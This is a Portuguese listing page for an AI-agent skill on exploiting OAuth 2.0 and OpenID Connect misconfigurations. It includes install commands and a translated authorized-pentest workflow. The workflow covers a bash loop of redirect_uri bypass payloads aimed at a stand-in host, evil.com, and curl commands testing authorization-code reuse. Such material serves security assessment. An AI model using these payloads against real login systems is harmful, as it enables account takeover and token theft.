exploiting-oauth-misconfiguration
Faz seu agente identificar e explorar configurações incorretas de OAuth 2.0 e OpenID Connect.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas de login que usam OAuth 2.0 ou OpenID Connect. Ela verifica se é possível redirecionar o usuário para um site malicioso ou roubar informações de login.
Quando usar
- ✓Ao testar a segurança de sites que usam 'Login com Google/Facebook'.
- ✓Quando se avalia como diferentes aplicativos se conectam de forma segura.
- ✓Para verificar se o sistema de login do seu próprio aplicativo é seguro contra ataques.
Exemplo do que pedir para a IA
“Verifique se o login com Google no meu site pode ser enganado para roubar tokens de acesso.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta simula ataques comuns, como tentar enganar o redirecionamento de login ou capturar informações sensíveis que deveriam ser secretas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-oauth-misconfigurationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-oauth-misconfiguration/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Configurações Incorretas de OAuth
Quando Usar
- Durante testes de penetração autorizados quando o aplicativo usa OAuth 2.0 ou OpenID Connect para autenticação
- Ao avaliar implementações de login social "Entrar com Google/Facebook/GitHub"
- Para testar fluxos de login único (SSO) entre aplicativos
- Ao avaliar a autorização de API usando tokens de portador OAuth
- Durante avaliações de segurança de aplicativos que atuam como provedores ou consumidores OAuth
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração cobrindo fluxos OAuth/SSO
- Burp Suite Professional: Para interceptar fluxos de redirecionamento OAuth
- Navegador com DevTools: Para monitorar cadeias de redirecionamento e vazamento de tokens
- Múltiplas contas de teste: Tanto no provedor OAuth quanto no aplicativo alvo
- curl: Para testes manuais de fluxo OAuth
- Servidor controlado pelo atacante: Para receber tokens/códigos redirecionados
Fluxo de Trabalho
Etapa 1: Mapear o Fluxo e a Configuração OAuth
Identifique o tipo de concessão OAuth, endpoints e configuração.
# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs
# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
# response_type=code&
# client_id=CLIENT_ID&
# redirect_uri=https://app.example.com/callback&
# scope=openid profile email&
# state=RANDOM_STATE
# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token
# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256
Etapa 2: Testar a Manipulação da URI de Redirecionamento
Tente redirecionar o código de autorização ou token para um domínio controlado pelo atacante.
# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
echo "$status"
done
# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/
Etapa 3: Testar Roubo de Código de Autorização e Token
Explore vetores de vazamento para roubar tokens e códigos OAuth.
# Testar vazamento de token via cabeçalho Referer
# Se o fluxo implícito retornar o token no fragmento da URL:
# https://app.example.com/callback#access_token=TOKEN
# E a página de callback carregar recursos externos,
# o cabeçalho Referer pode vazar a URL com o token
# Testar vazamento de código de autorização via Referer
# Após receber o código no callback, verifique se:
# 1. A página carrega imagens/scripts externos
# 2. A página tem links para sites externos
# Burp: Verifique o Histórico do Proxy em busca de cabeçalhos Referer contendo "code="
# Testar reutilização de código de autorização
CODE="codigo_de_autorizacao_capturado"
# Primeira utilização
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=ID_APP&client_secret=SEGREDO_APP"
# Segunda utilização (deve falhar, mas pode não falhar)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=ID_APP&client_secret=SEGREDO_APP"
…
Perguntas frequentes
O que é OAuth 2.0/OpenID Connect?
São padrões que permitem que você use um serviço (como Google) para fazer login em outro site sem precisar criar uma nova senha. É o 'Login com Google' que você vê em muitos sites.
O que é um 'redirect URI manipulation'?
É uma tentativa de enganar o sistema para que, em vez de redirecionar o usuário de volta para o site original após o login, ele seja enviado para um site controlado pelo atacante.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização por escrito antes de testar qualquer sistema. Usar isso sem permissão é ilegal.
Detalhes
Descrição original do autor
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5755
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC